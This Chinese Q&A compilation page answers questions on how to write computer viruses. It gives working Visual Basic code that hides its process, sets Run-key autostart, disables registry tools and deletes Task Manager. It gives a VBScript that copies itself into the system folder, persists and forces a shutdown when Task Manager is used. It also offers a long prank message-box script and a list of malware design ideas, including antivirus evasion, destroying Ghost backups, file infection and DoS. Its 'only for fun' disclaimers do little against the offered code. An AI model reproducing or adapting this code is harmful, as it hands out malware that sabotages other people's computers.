本文目录一览：
病毒制作教程
制作自己玩玩可以，要是上传或者散播给他人就会有法律责任。
制作病毒这玩意，你还是去网上找教程吧。也不是一时半会一天两天你就能回。比如什么黑客基地
病毒编写教程
《黑客X档案》的系列丛书不错，有各个方面的，像《黑客编程入门》，《黑客脚本攻击》《黑客免杀入门》都是不错的，而且都带光碟，《傻瓜黑客》更是适合新手。
用VB怎么样编写病毒
告诉你几个VB写病毒的常识,不要做坏事!!!
HideCurrentProcess '隐藏进程
Dim hKey As Long, SubKey As String, Exe As String
SubKey = "Software\Microsoft\Windows\CurrentVersion\Run"
Exe = App.Path "\" App.EXEName ".exe"
RegCreateKey HKEY_LOCAL_MACHINE, SubKey, hKey
RegSetValueEx hKey, "19911593", 0, REG_SZ, ByVal Exe, LenB(StrConv(Exe, vbFromUnicode)) + 1
RegCloseKey hKey'开机启动
Dim hKey As Long
RegCreateKey HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\System", hKey
RegSetValueEx hKey, "DisableRegistryTools", 0, REG_DWORD, 1, 4
RegCloseKey hKey'禁止访问注册表
KILL"C:\\WINDOWS\SYSTEM32\taskmgr.exe"'删除任务管理器
整人代码:
Msgbox "欢迎来到整人之家", 1, "You're foolish!"
Msgbox "我是cy07",1, "You're foolish!"
Msgbox "我的OICQ是371042", 1, "You're foolish!"
Msgbox "或者15081189", 1, "You're foolish!"
Msgbox "也可以是15081190", 1, "You're foolish!"
Msgbox "你一定得18岁才准进入，请按确定", 1, "You're foolish!"
Msgbox "进入此站时，不许说粗话！！同意请按确定", 1, "You're foolish!"
Msgbox "我不相信你…………", 1, "You're foolish!"
Msgbox "很对不起~但我得看你的身份证", 1, "You're foolish!"
Msgbox "拿着你的身份证对着萤幕", 1, "You're foolish!"
Msgbox "现在我得检查你的性别", 1, "You're foolish!"
Msgbox "对！！检查你的性别！！！！", 1, "You're foolish!"
Msgbox "据我的推测，你不是男的就是女的", 1, "You're foolish!"
Msgbox "OH~YEAH~开个玩笑嘛", 1, "You're foolish!"
Msgbox "为什麽这个主机要把这个网页放上来？？", 1, "You're foolish!"
Msgbox "嘿嘿…………不知道吧？？", 1, "You're foolish!"
Msgbox "因为这主机被某人耍了", 1, "You're foolish!"
Msgbox "算了！！", 1, "You're foolish!"
Msgbox "你知不知道你现在得一直按确定ㄚ？？", 1, "You're foolish!"
Msgbox "你得全部都按光耶！！", 1, "You're foolish!"
Msgbox "ㄛ喔！！", 1, "You're foolish!"
Msgbox "换句话说~你被卡在这里了！！", 1, "You're foolish!"
Msgbox "ㄛ喔！！", 1, "You're foolish!"
Msgbox "除非我打算让你走……", 1, "You're foolish!"
Msgbox "可是……我什麽时候会想让你走咧？？", 1, "You're foolish!"
Msgbox "不过~可喜的是你现在一直做的很好！！", 1, "You're foolish!"
Msgbox "你按确定的姿势有很大的进步喔！！", 1, "You're foolish!"
Msgbox "对！进步很多啦！！", 1, "You're foolish!"
Msgbox "既然你被卡在这里~我只好跟你讲一个故事来解解闷喽！！", 1, "You're foolish!"
Msgbox "你一定很想听吧？？", 1, "You're foolish!"
Msgbox "我这麽做是为了让你呆久一点，知道吗？？", 1, "You're foolish!"
Msgbox "ㄛ喔！！", 1, "You're foolish!"
Msgbox "仔细听好~故事开始喽！", 1, "You're foolish!"
Msgbox "很久很久很久很久以前~有一个网瘾狂，", 1, "You're foolish!"
Msgbox "任何一个上网的机会他都不会错过", 1, "You're foolish!"
Msgbox "感觉很熟悉吧？？", 1, "You're foolish!"
Msgbox "无论如何！！", 1, "You're foolish!"
Msgbox "他爸妈跟他说他不该上太多网", 1, "You're foolish!"
Msgbox "不然的话就会有些怪人带他去些怪地方", 1, "You're foolish!"
Msgbox "ㄛ喔！！", 1, "You're foolish!"
Msgbox "可是他从来都不听。有一天他到了某个网站…………", 1, "You're foolish!"
Msgbox "这里真的很烦！！", 1, "You're foolish!"
Msgbox "从此以后~他再也不想上网了", 1, "You're foolish!"
Msgbox "ㄛ喔~嘿嘿嘿！！", 1, "You're foolish!"
Msgbox "你能猜的出来他到了哪个站了吗？？", 1, "You're foolish!"
Msgbox "很简单的问题吧？！", 1, "You're foolish!"
Msgbox "没错！！他到了这里！！", 1, "You're foolish!"
Msgbox "ㄛ喔！！", 1, "You're foolish!"
Msgbox "你大概在猜这里面所隐藏的东西应该有一些意义吧？？", 1, "You're foolish!"
Msgbox "ㄛ喔！！", 1, "You're foolish!"
Msgbox "可是，一点意义都没有！！", 1, "You're foolish!"
Msgbox "ㄟ~~事实上~~算是有一个原因啦！！", 1, "You're foolish!"
Msgbox "想知道吗？？", 1, "You're foolish!"
Msgbox "那就是把你卡在这里啦！！", 1, "You're foolish!"
Msgbox "ㄛ喔！！", 1, "You're foolish!"
Msgbox "嗯~~说真的这站实在很白痴！", 1, "You're foolish!"
Msgbox "对啦~按确定练习站！！", 1, "You're foolish!"
Msgbox "你大概推测出来了吧？？", 1, "You're foolish!"
Msgbox "对了~你知道吗？？", 1, "You're foolish!"
Msgbox "如果你想把你的任何一个朋友搞疯掉", 1, "You're foolish!"
Msgbox "你可以把这个站寄给他！！", 1, "You're foolish!"
Msgbox "Wow~听起来很过瘾吧？！", 1, "You're foolish!"
Msgbox "大概要按90多次确定吧？？", 1, "You're foolish!"
Msgbox "ㄛ喔？！", 1, "You're foolish!"
Msgbox "所以呢~当你进入这站的时候……", 1, "You're foolish!"
Msgbox "就顺便把这网站寄给大家吧！", 1, "You're foolish!"
Msgbox "让他们了解一下你现在的感受！！", 1, "You're foolish!"
Msgbox "ㄛ喔！！", 1, "You're foolish!"
Msgbox "你现在终於可以进入这网站啦！！", 1, "You're foolish!"
Msgbox "谢天谢地！", 1, "You're foolish!"
Msgbox "等等！！……", 1, "You're foolish!"
Msgbox "我想跟你说另外一个故事", 1, "You're foolish!"
Msgbox "ㄛ喔！！", 1, "You're foolish!"
Msgbox "你快疯了吧？？", 1, "You're foolish!"
Msgbox "这可不是我的错喔~~你应该在网上找些别的东西！！", 1, "You're foolish!"
Msgbox "知道了吧？？现在你可能可以了解上网的坏处了吧！！", 1, "You're foolish!"
Msgbox "因为你还有可能碰到类似的网页喔！", 1, "You're foolish!"
Msgbox "你仔细想一想……不觉得有趣吗？", 1, "You're foolish!"
Msgbox "好吧~我对不起你！", 1, "You're foolish!"
Msgbox "你生命可以继续啦！", 1, "You're foolish!"
Msgbox "还有…………", 1, "You're foolish!"
Msgbox "你打算再听一个故事吗？", 1, "You're foolish!"
Msgbox "ㄛ喔！！", 1, "You're foolish!"
Msgbox "现在是不是有一种想要骂人的感觉？", 1, "You're foolish!"
Msgbox "可是我们说好了的…………", 1, "You're foolish!"
Msgbox "？？？", 1, "You're foolish!"
Msgbox "算了，我还是放你走吧！", 1, "You're foolish!"
vbs脚本病毒编写教程（不是拿去害人，是自己用来玩玩） 急！！！！！
Set ws=WScript.CreateObject("wscript.shell")
Set fso=WScript.CreateObject("scripting.filesystemobject")
path1=fso.GetSpecialFolder(1)
Set fs1=fso.getfile(WScript.ScriptFullName)
path2=path1 "\" fs1.Name
ws.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\aa","""" path2 """","REG_SZ"
If Not fso.FileExists(path2) then
fs1.Copy(path1 "\")
ws.Run """" path2 """",True,True
End If
do
Set wmi=GetObject("winmgmts:\\.\root\cimv2")
Set list=wmi.ExecQuery("select * from win32_process where name='taskmgr.exe'")
If list.count0 Then
Call fun2()
End If
WScript.Sleep 3000
loop
Function fun2()
do
Set wmi2=GetObject("winmgmts:\\.\root\cimv2")
Set list2=wmi2.ExecQuery("select * from win32_process where name='taskmgr.exe'")
If list2.count=0 Then
Set wmi3=GetObject("winmgmts:{(shutdown)}\\.\root\cimv2")
Set list3=wmi3.ExecQuery("select * from win32_operatingsystem")
For Each uu In list3
uu.win32shutdown(2+4)
next
End If
wscript.sleep 2000
loop
End function
怎样设计简单的电脑病毒
很复杂得未必好，简单编了就被反病毒程序删除了，首先要使杀毒软件失效或躲过其病毒特征码识别。最基本思路是这样的：
1最简单就是让你一点击我的exe文件就死机.
（使你电脑使用率到达100%只是小伎俩)
2多数以Win32文件夹为主要目标的
3修改系统注册表
4自动复制源文件
5也可以额外对病毒加密
6DOS攻击
7修改，关闭，植入进程，
8病毒进入内存，自动让其读取中
9破坏GHO文件，使其电脑的Ghost无法使系统还原
10.对EXE、SCR、PIF、COM，htm/.html/.asp/.php/.jsp/.aspx任何文件添加恶意代码，如果你愿意也可以制作针对NOKIA的Symbian手机病毒SIS格式和电脑用蓝牙，数据线连接
11创新是编写的生命。但无理头的方案反而更糟，我这北美洲病毒很多，我特意去中毒收集病毒，研究以得到新思路，不过别拿心爱的电脑试验如果你经常更新硬件就是你的事了。我正考虑是否攻读黑客专业以利于以后在联邦网络安全部门工作，与当地的黑客只是冰山一角，正在学习
利用其实国产的反病毒最大的漏洞是经常更新，但忽略了有时拿十年前的病毒略加修改就躲过
加我为好友以后慢慢教你。
灰鸽子挂马，ASP似乎成了盗账号的唯一流行手段了，哈哈，1:29AM我去睡了
